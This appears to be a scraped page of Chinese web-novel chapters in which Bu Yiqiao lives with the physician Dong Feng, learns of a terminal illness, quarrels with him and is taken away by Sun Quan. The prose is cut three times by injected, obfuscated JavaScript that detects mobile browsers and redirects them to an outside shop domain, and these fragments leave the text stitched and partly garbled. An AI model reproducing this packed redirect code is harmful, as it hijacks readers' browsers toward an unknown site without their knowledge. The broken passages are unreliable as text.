“我可没有夺人妻室的癖好。”董奉叹了口气,重新闭上眼,“我在此处待不了多久。这段时日,你便留下来,帮我做些事罢。” 步一乔怔了怔,随即明白了他的意思。 “行吧。需要我做什么?” “采药,晒药,捣药。山间多蛇虫,认得路么?” “不认得。” “那明日先教你认路。” 步一乔点点头,转身时又补了一句:“我学东西不快的。” “无妨。”董奉似乎翻了个身,“我见过更慢的。” * 清早,步一乔是闻着久违的饭菜香醒来的。 为什么是久违?因为她没想到东汉末年,竟能闻到如此熟悉的味道。 她揉着眼,迷迷糊糊走进膳房。董奉手持长筷,正将最后一根炸至金黄的油条从锅里捞出,沥着油,动作娴熟得像做过千百遍。 “哇……”步一乔睡意散了大半,忍不住凑近,“您这手艺挺专业啊。” 董奉将油条搁在竹篾上,闻言侧过脸,眉梢一扬骄傲道:“家父家母曾是开早食铺的,从小耳濡目染,学了点皮毛。” “早餐铺的儿子成了医仙,不错不错!我能先尝尝吗?” “请。” 董奉抬手示意,自己则转身去盛那锅正咕嘟冒泡的豆浆。 步一乔小心地捏起一根油条。入手微烫,表皮酥脆,内里蓬松。她轻轻咬下一口,油香混着面香瞬间盈满齿间。 她怔住了。 不仅因为这味道有多惊艳,还因为它太像记忆深处,某个寻常早晨,母亲从巷口老铺买回来的那份温热。 董奉将一碗乳白的豆浆推到她面前,碗中飘着几缕热气。 “小心烫。需要帮你切块吗?” “豆浆泡油条吗!想不到这吃法居然有上千年了!” 董奉正取刀的手微微一顿,旋即恢复正常。 “先把豆浆端出去。” “好!” 步一乔不疑有他,小心翼翼捧起豆浆,朝膳房外走去。 晨风拂过院中晾晒的药草,带来清苦的气息。她将碗放在院中的石桌上,回头望向膳房门口,董奉正背对着她,站在灶台前。 步一乔托着腮,看着他的动作,忽然想起他方才那一瞬间的停顿。 那句话……有什么不对吗? 她还没来得及细想,董奉已端着切好的油条走了出来。 “吃吧。”他在她对面坐下,自己也端起一碗豆浆。 步一乔夹起一块油条,浸入豆浆。酥脆的外皮吸饱了醇厚的浆汁,变得绵软,入口是恰到好处的温润与香甜。 她满足地眯起眼,暂时将那些细微的疑惑抛在了脑后。 而对面的董奉,垂眼喝着豆浆,热气模糊了他的神情。 只有他自己知道,步一乔方才那句无心之言,暴露了绝对不能让旁人知道的秘密。 “姑娘,我知道造成你身子虚弱的主要原因,是什么了。” 步一乔刚张开嘴,油条送到嘴边瞬间僵住,迟钝地看向董奉。 董奉没看她,专心在碗里。 “是什么?” “今日我陪你下山,看诊完毕,你需随我回山。三月剩下的日子专心在此处吃药,四月初一,我将答案告诉你。” “……好。谢谢医仙。” * 【吴郡,朱府】 朱然看着步一乔身边的男人,顿时没了好脸色。 “夜不归宿,还带个男人回来。信不信我现在就替仲谋处置了他!” 话音未落,剑已出鞘,寒光直指步一乔面门。 “喂!你做什么!”步一乔急退半步,又气又笑,“我千辛万苦把医仙请来,你就这般拿剑指我?” “医仙?”朱然剑势一顿,目光在董奉平静的脸上扫过,又盯回步一乔,“当真?” “千真万确,如假包换。” 刹那间,朱然手中长剑“铛”一声落地。双膝一屈,竟直挺挺跪了下去,看得步一乔怔在原地。 “医仙!求医仙救救我夫人!” 董奉迈步上前,虚扶了朱然一把。 “大人快请起。医者治病,不兴此礼。事不可耽搁,请大人带路。” 朱然借力起身,眼眶微红,也顾不得客套,转身便疾步向内院走去。步一乔与董奉紧随其后。 穿过几重垂花门,药气渐浓,沉沉压在廊庑间。 董奉在门前驻足,未立即推门,而是抬首望了望檐角天色,又侧耳静听了片刻紧闭门窗的室内的声息。 “开窗。”他忽然道。 朱然一愣:“可夫人畏风……” “不是风,是浊气。病气久郁于室,如腐水不流。先通天地之气,再论诊治。” 朱然默然片刻,挥手示意。侍女慌忙上前,将南窗推开半扇。春阳斜斜涌入,照亮浮尘,也照亮榻上那张苍白如纸的面容。 禾清夫人静躺着,锦被覆至胸口,双手交叠于腹前。眉眼间依稀能辨出清丽,只是双颊凹陷,唇色淡得几乎与脸色融为一体。 一切在步一乔看来,都只是孩子、小姑娘,被病痛缠绕一生的短命人。 董奉缓步走近,在榻边杌子上坐下,开始望闻问切,始终未发一言。良久,他起身转向朱然。 “朱大人,关于夫人的病情,还请移步,容我单独与您详谈。” 朱然面色凝重,微微颔首。 董奉又侧目看向一旁蠢蠢欲动、准备跟上的步一乔。 “你去外面等候。” 步一乔倒也干脆:“行,我在门外等着。” “门外不行。去正厅,或者后院。离远些。” “为何!” “因为你会偷听。” “我——” 好吧,她的确正盘算着躲到窗根底下。 被侍女“请”到后院,步一乔如坐针毡。眼瞅着时机差不多,她便猫着腰,悄无声息地潜回廊下,贴墙根蹲好。 咦?里头怎么静悄悄的? “我就说了不准偷听吧。” 头顶的窗户豁然洞开,董奉就站在窗内,垂眸看着她,仿佛早已在此等候多时。 “我刚到!什么都没听见!真的!我发誓!” “撒谎成性之人口中,半句真言也无。” “我——” “甚至还要理直气壮地反驳,妄图颠倒黑白。这不是个好习性,趁早改了吧。” 步一乔张了张嘴,最终垂下头,脸上火辣辣的,恼得厉害,却半个字也不敢再顶回去。 “……对不起。” “既知错,便回后院去。安分等着。” “是。” 她转身往回走,脚步有些拖沓,但难得的乖顺。 后院。 步一乔愤愤坐在石凳上,越想心里越堵得慌。 这种被人看透说透,还当着那么多人面毫不留情地揭穿教训,面子丢了,里子也像被掀了个底朝天。她活了大半辈子,还没谁让她这么憋屈过。 可偏偏,她连句像样的反驳都说不出口。 因为董奉说的,句句在理。 她烦躁地踢开脚边一颗石子,望向那扇紧闭的窗。 这种好奇到快要爆炸的无力感,比方才的羞恼更让她难受。 * 董奉目送她走远,直到那身影消失在廊角,才合上窗扉。 他转身看向一旁神色紧绷的朱然,眸中的无奈褪去,恢复了医者独有的沉静。 “我们继续。夫人此症,乃从胎中带来的先天不足,非后天疾恙。换言之,此病,无法根治。” 朱然身形一晃,手扶住榻边立柱才勉强站稳。 “连医仙也……束手无策吗?” 董奉看着朱然眼中那点即将熄灭的光,给了他片刻缓神的时间。 “是。药石针砭,皆有其限。夫人先天根基孱弱,五脏如朽木难支,非人力所能逆转。” 朱然的手从立柱上滑落,踉跄后退半步,后背重重抵上墙壁。他闭上眼,喉结剧烈地滚动了几下,再睁开时,眼底已是一片赤红。 “……还有多久?” “熬不过今年。” “真就……一点办法都没有吗……” 董奉垂下眼帘,避开了朱然那双濒临破碎的眼睛。 “抱歉,我也无能为力。” “世人不是说神医有一种药,能包治百病,甚至起死回生吗?” “……我没有。” “到底是没有,还是不愿?” “没有。” 他答得干脆,不似掩饰。朱然不再追问,一步一踉跄地拉开房门,头也不回地走向禾清所在的厢房。 “医仙你不该来。” 朱然的声音飘来,董奉仍站在室内原地,垂着眼,看着地上被拉长的、孤零零的影子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16970267|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' * 寻至后院,步一乔正佝偻着背坐在石头上。 “走了。” 步一乔闻声回头,面上还显露尴尬,但见董奉神情似有变化,随即换了态度。 “诊治完了?” “嗯。” “禾清夫人身子多久能治愈?” “……慢则几年,快则数月。” “那挺好呀!” 步一乔笑着跳下石头,“不愧是医仙!多谢!” 方才的憋闷与难堪都随风散了,只顾为这个“好消息”真心欢喜。 董奉看着她明朗的笑脸,没说什么,转身先行朝后门走去 步一乔快步跟上,又想起没跟朱然打个招呼,跟董奉说了声后折返回厢房。 疾跑的脚步在厢房不远处顿住,步一乔怔愣地看着坐在门外无声抽泣的朱然。 察觉到的朱然抬眸看来,赶忙擦干眼泪。 “你怎么了?怎么哭了?” “无碍。” “你这哪儿是无碍啊,发生什么了?” 医仙不是说“慢则几年,快则数月”吗?朱然为何会哭得如此伤心? 朱然整理情绪,起身拍掉身后灰尘。 “只是想起清儿这些年受的苦,一时感伤罢了。” 步一乔松了口气,想拍拍他的手臂,又觉不妥,只轻声道: “没事儿,人间总是事与愿违。以为会朝着更坏的方向发展,说不定哪天突然就变了呢。” 朱然应了声,仍。 步一乔想他估计想一个人待着,便将自己最近暂住医仙茅屋帮忙的事儿告知朱然,也求他替自己保密不可告诉孙权。 “帮忙?莫非是……给你治病?” “也算吧。医仙说我身子虚得很。就这个月,等孙权从吴郡回来前,我便回去。” 朱然没再说话。步一乔也不便久留,又行了一礼,转身离开。 * 董奉在后门静立等候。见她小跑着赶来,他未多言,转身先行。 “朱大人状态如何?” “哭得可伤心了。起初我还以为医仙骗我,说什么禾清夫人能痊愈,其实根本无药可医,朱然才那般伤心。原来只是想起往事感怀,虚惊一场。” 她说着,侧头去看董奉的侧脸。暮色渐沉,他面上没什么表情,自然地听着应着。 “医仙……没骗我吧?禾清夫人的病,真能治好的吧?” “治病这种事,从无‘定然’之说。” 步一乔跟在他身后,听了这话,心里那点刚刚松下去的弦,又悄悄绷紧了。 “……可你方才说,快则数月。” “对啊,情况乐观,确实快则数月。” “那干嘛又说扰人心绪的话?” “我若说得太满,日后若有不遂,你岂非又要怪我,‘当初明明说好能治的’?” 是了。希望给得太满,跌落时才最痛。 两人一时无话,只余山风穿林。步一乔突然无法再往前,停在原地,等董奉走出很远后停下来转过身。 “为何不走了?” “医仙是不是有事瞒着我?不告诉我真相,担心我多想。” “你跟你很熟吗?需要瞒着你,怕你伤心?” “但你是医者……但朱然的反应是不对的……但你来后院找我时的神情是有所隐瞒的……” 步一乔抬眸,凛然地望着董奉。 “真相到底是什么?” 董奉却冷笑。 “反过来我再问你,若我说那颗药,是唯一能救禾夫人和孙策的法子,你的答案,会变吗?” 步一乔沉默,董奉代为回答。 “你还是会选择孙策。哪怕这个人不是禾夫人,是朱然,是吴夫人,是其他随便谁,你都会选择孙策,不是吗。” “你……你凭什么替我回答?” “因为我知道你的答案。你从头到尾纠结的不是救谁,是‘为孙权’救谁。救孙策,因为他是孙权的兄长。救禾夫人,因为朱然与孙权的约定。所以我叫你自己吞下时,你想都不想就拒绝了。当然,不选自己,也是因为你太自信,坚信自己绝不会有事。” “你不是我,凭什么说得这么肯定!” “我不是你,但我了解你。我清楚你是个什么样的人。” “我跟你很熟吗?我们拢共见面的时间不超过三天,你凭什么说了解我?” 董奉沉默地看着她。许久,他忽然极轻地叹了口气。移开目光,望向黑沉沉的远山。 “是啊。三天……是太短了。三个月,也长不到哪儿去。” 记不住一个人,转身,便忘了。 99. 山外山 董奉不再看她,转身继续往山上走。 “走吧。天黑了,路不好走。” 步一乔僵在原地,婆娑泪眼看着他再次离去的背影。胸口堵得发痛,委屈得想大声尖叫,却只能咬着唇不敢出声。想转身就走,脚却像生了根。 因为天黑了,下山的路早已看不清。 夜风吹过,她打了个寒噤,终于挪动脚步,跟了上去。 一路沉默,直到茅屋前,董奉径自推门进屋。 步一乔没有跟进去,而是在在门前的石阶上直接坐下,抱紧了膝盖,将脸埋进臂弯里。 里面的人忙里忙外,烧水、制药、洗漱,在做一切寻常的事。 最后,灯火熄灭,一切归于寂静。 他睡了。 屋外,步一乔仍旧抱膝坐着。山里的夜很冷,寒气顺着石阶漫上来。她一动不动,心里的气闷和委屈还没散尽。 尤其此刻,她格外想念孙权,若是在千年后,定会当即打个车,冲去庐江寻他。 可越是思念,越想起董奉的话,更难受更烦躁。 约莫子时,柴门开了。 董奉手里拿着件还带着体温的旧布外袍,看也没看,直接丢在步一乔头上,将她整个人罩住。 “冻死了,我还得费事救。进来。石阶寒气入骨,你明日若膝痛腹痛,别指望我给你扎针止痛。” 步一乔扯下外袍,硬气地扔回去。 “不用你管。” “由不得你。你是我的病人。在你好全之前,你的身体,我说了算。” 董奉弯腰捡起外袍,又丢回步一乔身上。见她又要扯下,直接抓住她的手腕制止。 “什么烂脾气,就不能坦然接受批评教育吗?” “知道我脾气烂你别管我啊!说教我你心里很好受吗!” 董奉蹲在她身旁,看着她发抖的肩膀,看着她紧咬的嘴唇,还有那双在夜色里亮得刺眼、盛满不甘和委屈的眼睛。 “是,不好受。” 步一乔愣住了,抬起眼看他。 “我说,我心里不好受。没有人以说教旁人为乐。尤其是……明知说了也未必有用的时候。” “你……”步一乔刚才那些顶到嘴边的气话,忽然都堵住。 “而且我说了,你会听吗?说你是为你好,劝你改掉坏毛病,倒成了你的仇人?” “你!” “我什么?我说错了?那你问问自己,活到如今,吃过多少亏,栽过多少跟头,有多少次是因为你这不肯听人劝、不肯低头的倔脾气?” 董奉站起身,连同拽着步一乔起身。 “我不是孙权,不会由着你胡来,更不会在你撞了南墙之后,只是默不作声地替你收拾残局。我是医者,医病,也医心。你若连听一句逆耳忠言的勇气都没有,那你这病,我治不了。” 他一面说着,一面拽着步一乔走进膳房。 “粥在灶上温着,喝完出来把药喝了。你若真想跟我置气,先把身子养好,有了力气,再慢慢置不迟。” 步一乔僵在灶台前,盯着那瓮温着的粥,白汽袅袅,湿润了眼眶。 堵在心口的委屈终于忍无可忍,她蹲下身,将脸埋进身体里放声大哭,哭得上气不接下气。 门外,董奉倚着门框,静静听着里头的哭声。他没有进去,也没有离开。 良久,里头的哭声渐渐低下去,变成断断续续的抽噎。 他这才直起身,从袖中取出一方干净的素帕,塞进步一乔手中。 “对不……我帮你烧点热水。” 步一乔捏着帕子,泪眼朦胧地抬头看他。董奉却已转身走到灶边,拿起木瓢往锅里添水。 “蹲久了慢点起身,小心晕倒。” “……搞不懂。” “何事?” “你。你到底是……为何这么对我?” 董奉将温好的水舀进木盆,端到步一乔旁边的矮凳上,取来布巾打湿后拧干递给她。 “敷一敷眼睛。肿得厉害,明日该难受了。” 步一乔接过温热的布巾,却没有立刻敷上。她执拗地看着他,非要一个答案。 董奉终于停下手中的动作,就着灶膛里跳动的火光,看向她。 “因为,你把自己活成了一味‘虎狼之药’。” 步一乔愣住。 “药性峻烈,看似能救命,实则伤人伤己,稍有不慎便反噬自身。我行医,不喜用这样的药,更不愿见人活成这般。” 他收回目光,又往灶里添了根柴。 “严厉,是希望你能看清自己,收敛心性,莫要再横冲直撞。照顾……”他顿了顿,“是因为医者仁心,见不得病患受苦,哪怕这苦,大半是她自己招来的。” 火光在他眼底明明灭灭。 “这个答案,你可明白了?” “嗯……” “明白了就快填饱肚子吧,真亏你不嫌累。” 这回,他的语气里没了之前的冷硬,倒像是大夫对不听话的病人那点无奈的数落,隐隐还带着一丝……迁就。 * 董奉至今骂哭过的人不少。那些被他言语刺破伪装、戳中心病的人,有的恼羞成怒挥拳相向,有的拂袖而去再不回头。久而久之,他索性隐世。 世人惯爱听温言软语,喜看粉饰太平。他既学不会,也不愿学。与其勉强迎合,不如守着这间茅屋、几筐草药,一个人活得清静自在。 至少,在遇见步一乔之前,他是这样以为的。 不只是因为她如今身怀有孕,更因另一重不可言说的秘密。 清早,董奉正在院中劈柴,听见屋门推开,下意识抬眼望去。 步一乔顶着红肿的双眼、憔悴的脸,木然立在门框内。她怔怔地望了望天光,愣了片刻,又折身退回屋内。 董奉没明白她此举何意,放下斧头进屋查看。 屋里,步一乔已走回自己那张临时铺位,掀开被子,一声不响地躺了进去。 举动着实反常。 董奉走近榻边,想瞧瞧她面色,她却将自己蜷成一团,脸深深埋进被褥。 “失礼了。” 他伸出手,手背碰上她的脸颊。只一瞬,便明白了。 “何时开始难受的?为何不告诉我?” “不用管我……” 被褥里传来闷闷的声音,带着浓重的鼻音。 “是想在被窝里直接蒸熟么?躺好,我去打盆水。” 不多时,董奉端着一盆温水回来,肩上搭了块干净的布巾。 “起来,擦把脸。” 被子里的人没动静。 他不再言语,只伸手将蒙在她头上的被褥往下拉了拉。步一乔挣扎了一下,终究拗不过,露出一张烧得泛红、泪痕狼藉的脸。 董奉将微湿的布巾覆在她额上。凉意熨帖,步一乔闭着眼,睫毛颤了颤。 “哭成这样,是身上难受,还是心里难受?”他问得直接。 步一乔别过脸去,半晌,才哑声道:“……都难受。” 董奉将布巾重新浸了水,拧干,又替她擦了擦脖颈和手心。 “对不起。” “……啊?” “不是心里难受吗,我向你道歉。” “……不是因为医仙难过,是……想家了。” 董奉又露出教育人前的那副无奈样,步一乔眉头一皱,嘴巴一瘪。 “我连想家都不可以吗?你难道要说我小孩子脾气,生点病就想回家,就装可怜吗!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16975863|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我没有……” “我就是喜欢哭哭啼啼,你也要说我吗!” 董奉看着她通红的眼,沉默片刻。 “……对不起。”他低声说,将布巾又浸了一次水,敷回她发烫的额上。 “我不擅与病人之外的人相处,这些年……一贯如此说话。我不说了。莫再气了,身子要紧。” 晨光渐渐爬满窗棂,盆里的水换过两次,步一乔的呼吸终于平稳了些,身子的温度也降了些。 “睡会儿吧,我去煎药。” 煎药的泥炉就在不远处,董奉怕又吵着她休息,只好背过身去。 药香渐渐弥漫开时,步一乔忽然开口:“医仙。” “嗯。” “……你刚才说,不擅与病人之外的人相处。那我呢?我现在……算病人,还是算‘之外’?” 董奉握着蒲扇的手停了一瞬。 火苗在药罐下静静舔舐,映着他沉静的侧脸。良久,他才道: “你是病人。也是……例外。” “那医仙有跟被你骂哭的人道歉吗?” “……不曾。” “……哦。”她顿了一下,声音更轻了,“那为什么对我道歉?” 董奉看着炉火,许久没说话。药罐里的水咕嘟咕嘟地翻滚着,蒸汽不断顶起陶盖,又落下。 “因为,你哭的时候……我心里不太舒服。” * 【三月中旬,庐江,孙氏老宅】 从吴郡返回的侍卫正躬身向孙权汇报。 “府上可有旁的事?”孙权目光未离手中密函,随口问道。 “回大人,老夫人问过您归期后,说打算安排谢夫人来庐江相伴。” 孙权眉头蹙了一下,“还有呢?” “主公命您处理完庐江事务后即刻返回吴郡,务必在四月初赶到。” “嗯。继续。” “另……您交代属下去朱然大人府上探看一事。并未见到一乔姑娘。” “并未?”孙权抬起眼。 “是。不过属下并未入内亲见。转交的书信递予朱然大人时,大人只接了,未多言。” 室内静了片刻,孙权将密函搁在案上。 “知道了。下去吧。” 侍卫行礼退去。门合拢后,孙权独自坐在渐暗的室内,良久未动。 以他对步一乔的了解,几乎可以断定人已不在朱府,多半与朱然有过交代,不许向任何人透露她的去向。 案上有封未拆的信,是朱然让侍卫带回的寥寥数语,说信上只写了一切安好,旁的无涉。 孙权忽然笑了一声,拿着信起身走至窗边,一点点拆开。 「仲谋亲启。一乔寻到神医董奉,带至府上替禾清诊治。你我的约定,也算扯平。」 「尽管此病,连神医也束手无策。」 「我果然不该相信什么包治百病的神药。没人愿意救我的禾清。」 「神医也是。」 孙权的心随着字里行间的无力感逐渐沉下。 「另外有件事,本想等你回吴郡再告知,但我想,以你二人感情之深,恐怕没藏着什么秘密,便于信中将我的猜测告知。」 「神医似乎认识一乔,且颇为了解。此二人之间,原先总有什么瓜葛。」 孙权捏着信纸的手指收紧,将那几行字又看了一遍,尤其是最后两句。 “原先总有什么瓜葛……我一走便不安分,竟还寻到什么神医那儿去住下……真是一点不自知。” 信纸在他掌心攥紧,皱成一团。 “幼平。” “在。”周泰应声上前。 “加紧追查叛逃一事。七日之内,我将了结此案,赶回吴郡。” “是!” 100. 百转千回 步一乔蜷在榻上,只露出一双红肿的眼,隔着雾气望向董奉。 董奉说完那句话,便不再看她。他重新执起蒲扇,手腕轻动,一下一下,缓缓地扇着炉火。 “……是因为我病入膏肓,命不久矣么?” 扇风的动作没有丝毫停滞。 “不是。” “那……” “药要好了。静心躺着,莫再思虑过甚。” “你喜欢我?” 步一乔这次做好了被他说“自作多情”的准备,然而……董奉没有回答是或不是。他只是看着她,用一种近乎叹息的语调,缓缓道: “那颗药,你吃了吧。” 步一乔一怔。 “……为何?” “它的副作用,遗忘前尘。” “强迫我失忆么?” “嗯,你的头脑已经不正常了。” “……” 步一乔默默把脸重新埋回被子里。 果然。她就知道,还是逃不过他的毒舌。 说来也怪,董奉至今未曾问过她的姓名,一直以“姑娘”相称。 是不想知道么? 或许吧。在他眼里,自己这样的人,大概浑身上下皆是可指摘之处。知道了名字又如何?不过是为他记忆里添一个需要皱眉的病人罢了。 罢了,也就一个月不到,暂且留在此处吧。 反正董奉对她这个人,大概也没什么额外的兴趣。 * 上山前问过朱然,孙权大约多久回吴郡。朱然推测要一月有余,或许更久。 步一乔不便久留朱府,亦不宜在吴郡城内抛头露面,董奉这山中小筑,倒成了最妥当的容身之处。 时日久了,她除了每日采药、晒药、捣药,似乎还多了一项雷打不动的流程。 喝药。 应该有补足气血之效,否则为何每次饮下,都觉得热议沸腾、浑身冒汗呢。 这日午后,步一乔端着那碗深褐色的药汁,对着日光细细看了半晌,终于忍不住抬头。 “医仙留我在这儿……该不会是为了给我治病吧?” 董奉正低头碾着新收的决明子,闻言只很淡地应了一声:“嗯。” “还真是?那您……费心了。” 她没问是什么病,也没问能不能治好。只是将药饮尽,碗底剩下一点药渣。 药汤是苦,但回味带甜。董奉每次煎药,总会悄悄兑入一点山野里寻来的蜂蜜。 “其实医仙不用这么费心的,我能喝苦的。” “当真?” “嗯……大概。” 董奉手停了停,抬眼看向她。她正捧着碗,碗沿还贴在唇边。 “那明日开始,不兑蜂蜜了。” “啊?我、我就是随口一说……” 董奉轻笑一声,又低下头去:“骗你的。我采了一整罐蜜,够你喝。” 步一乔松了口气,却没立刻放下碗。 “医仙,这药里……除了蜂蜜,是不是还加了别的?” “为何这么问?” “有时喝完会觉得舌尖发麻,有时又觉得……心里发空。像把什么东西从身体里抽走了似的。” 董奉碾药的动作彻底停了。起身走到她面前,接过那只空碗。 “那是回魂草的味道。”他说。 “回魂草?” “安神定魄的。你思虑太重,夜里常醒。” 董奉没有看她,只是用指腹抹去碗沿一点残留的药渍。 步一乔怔了怔。 “医仙怎么知道……是我翻身动作太大,吵醒你了?” 隔着一堵墙,动静也这么大吗? “你晒药时,衣袖会往下滑。”“手腕内侧有按压的痕迹。夜里辗转时,自己掐的吧。” 董奉转身将碗放进木盆,态度过于寻常,却让步一乔耳根微微发热。 “医仙观察得真仔细……” 董奉背对着她,舀起一瓢清水冲洗药碗。 “若有什么心事,若不介意……可讲与我听。” 水流声哗哗地响。 步一乔捏了捏自己的衣袖,半晌才低声说:“也不是什么心事,不过跟……某人睡习惯了,他不在,有些睡不着。” 董奉将洗净的碗倒扣在竹架上,半晌没能转回身去。 他。 同榻。 习惯了。 孙氏的公子。 孙策还是孙权,是谁都无关紧要。 步一乔不是知道,她每日喝的,不是“一碗药而已”。 山间的蜂蜜本就难寻,回魂草更只长在悬崖背阴处。她曾见他拂晓出门,日暮方归。 那时她只当他是去采什么珍稀药材。 “医仙。”她又唤了一声。 “嗯?”董奉仍背对于她。 “你待我这样好,是因为我是病人,还是……有别的缘由?” 董奉终于转过身看着她。 “你希望是因为什么?”他反问。 步一乔被他问住了。猜想太过大胆,不可明言。若会错了意,可就真自作多情了。 “没什么。随口问问,看你上不上当。” 董奉无奈摇头,走回药碾旁,重新执起碾轮。 “药要按时喝。你的身子,经不起耽搁了。” “嗯。能在这清净之地修身养病,不出一个月,什么病都好了。” “你喜欢这里?” “没人不喜欢吧。世外桃源,心之所向。” “世外桃源……”董奉重复了一遍,“若真能永远留在这‘世外’,倒也不错。” “是啊,真挺不错的。远离乱世,没有纷扰。济世扶伤,山水为伴。偶尔睡个懒觉,无聊了,便背上行囊出去走走。归来后,又是另一番心境。” 步一乔是真心羡慕董奉如今这般生活。 碾轮声停了停。 “那便考虑考虑,我不介意收你为徒。” 步一乔先是一愣,随即“噗嗤”笑出声。 “多些医仙美意,我不介意考虑考虑。” * 山间时日慢慢悠悠。 步一乔起初觉得董奉这人,大约只长了一张刻薄嘴。可相处久了才觉察,他若不开口训人时,其实还算……好相处。 院中,趁着日头好,她整理晒干的茯苓,随口叹了句:“这东西长得真像土块。我妈以前炖汤,放的该不会真是这个吧?” 董奉正蹲在一旁分拣党参,头也没抬:“‘千年之松,下有茯苓’。它本是松根灵气所结,得土性而蕴木魂,模样质朴些,也不稀奇。” 步一乔没想到他会接话,还接得这般……文绉绉的。毕竟孙权听见自己自言自语,大多时候都是装作没听见。 “医仙还读《淮南子》?” “不读。” “不读你怎么知道?” “略有耳闻。” “略有耳闻便记得那么清楚?怕不是熟读八百遍吧?” 董奉抬眼瞥她,那副惯常“与你多说无益”的神情,让步一乔噗嗤笑出声,赶忙别过脸去。 “是有个人常读,总在耳边念叨,便默默记下了。” “这样啊……” 步一乔将一块茯苓翻了个面,声音轻了些,久远的回忆涌入脑海,不自觉感慨。 “说来,我小时候也喜欢翻《淮南子》来着。五岁吧,父亲从学校带回来的。不过那时,也只能读读,不解其意。” “嗯。”董奉应了一声,手上动作缓了缓,“那人也是。” * 自那日后,董奉似乎学会了“及时止损”,该沉默时便沉默,该容让处也多了几分不着痕迹的温和。 至少步一乔是这么觉得的。 “姑娘今年多大?” “二十一。” “那不奇怪了。” “嗯?” “尚未成亲吧。我是指,三书六礼、明媒正娶那种。” “没……”步一乔被他问得心头微乱。 董奉手下动作未停,声音平静如常:“那先前滑掉的那个孩子,是谁的?孙将军的?” “……这医仙也能诊出来?” “自然。”他抬眼望来,“可愿与我说说?那孩子,是怎么没的?” 步一乔斟酌许久才道:“吃了滑胎药没的。” “姑娘自己吃的?” “算是吧。” “为何?” “医仙方才不也说了么,未曾明媒正娶,这样的孩子如何敢生下来。” 董奉走过她身侧时,抬手轻轻敲了下她的后脑。 “往后莫再做这等傻事了。你身子亏损至此,此事至少占了三成因由。” “往后?”步一乔揉着后脑,苦笑,“我这身子……怕是再也怀不上了吧。” “按理说是如此。但世事难料,也未必。” 步一乔倏然抬眸,盯着董奉的侧影。 “医仙那日替我诊脉……是否诊出了什么?” “指什么?” “譬如……两个脉搏?” 董奉拣药的手微微一顿。他侧过头,眉梢几不可察地挑了一下。 “两个脉搏?你在我这儿待了大半个月,莫非是想赖我身上?” 到底什么邪恶的思想才能误解成这样…… 步一乔无奈摇头,道:“我是说,您月初替我诊脉的时候,是不是诊出了喜脉?” 董奉收回目光,继续分拣手中的药材。 “忘了。若真有,我也会劝你舍了。” 医者劝人堕胎?!步一乔震惊,紧盯董奉观察、分析。 “为何?” “这不是出于医者的建议,而是……一个人。你身处乱世,无名无分,却怀了上位者的骨血。可曾想过,这孩子若真出世,会面临什么?” “可医仙明知这对身子损伤极大,难道没有别的法子?” 董奉沉默了片刻。远处传来山鸟孤清的啼鸣。 “有。但那些法子,于你而言,或许比舍弃更难。” “是什么?” “离开乱世。” 步一乔假装了然地点头,问:“像医仙这般隐世行医吗?” “隐世行医,听起来像是逃避。” “难道不是?避居深山,不问世事,这不正是逃离乱世最直接的法子?” “若只是为了逃避,何必行医?治病救人,本就是在‘入世’。我隐于世,不过是不愿卷入权谋倾轧,而非要割舍这人间。” 董奉顿了顿,目光落在她那双试图看清他内心的眼睛。 “更何况……” “更何况?” “若彻底离开了这世间,又如何得知她的消息。若她有难……又该如何带她离开。” 步一乔怔住了。她从未想过,董奉心里竟也藏着这样一段挂碍。 “她……是谁?”话一出口,她便觉唐突,忙移开视线,“是我多问了。” “一个故人。一个……让我苦心钻研医道之人。一个我以为再也见不到的人。幼年相识,不过短暂相处三个月,便再也不见。” “不见?” “她道别时,送了我一株忍冬。”他几不可闻地笑了笑,“说来可笑,我便是因那株忍冬,才起意学医的。她……估计不知道送我的是什么吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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董奉被一掌推远,步一乔整个人被一股不容抗拒的力量猛然拽离,天旋地转间,已被扛在肩上。地面在视线中急速倒退,她下意识地惊呼,挣扎着仰头—— 对上一双沉得骇人的眼睛。 “孙权?!你怎么——” “我再不赶回来,你是不是快忘记我是谁了。” “啊?不对,放我下来!你——” “闭嘴。” “孙仲谋。孙二公子。” 董奉的声音从身后响起,平静依旧。 孙权脚步一顿,并未回头。 “你带她走,从来就只会用这般强硬的手段么?” “她是我的,轮不到旁人置喙。” “你的?把她弃于险境的人是你,另娶新妇、不肯予名分的人是你。所以你眼中,她不过一件物件?” 孙权身形骤然僵住。他转过身,肩上的步一乔随着他的动作晃荡。 “董神医眼下是以什么身份对我说这些话?” “二公子希望我是什么,便是什么。” 步一乔在孙权肩上挣扎起来,她实在不愿以这般难堪的姿态,像个麻袋般悬在半空,连说话都只能对着他的后背。 “孙权!你先放我下来!” 孙权并未理会她的挣扎,箍在她腰间的手臂反而收得更紧。 “神医倒是很会替别人操心家事。” “家事?”董奉轻轻摇头,“何时成的家?她可亲口告诉我,没有三书六礼,没有明媒正娶,她不是你的。” 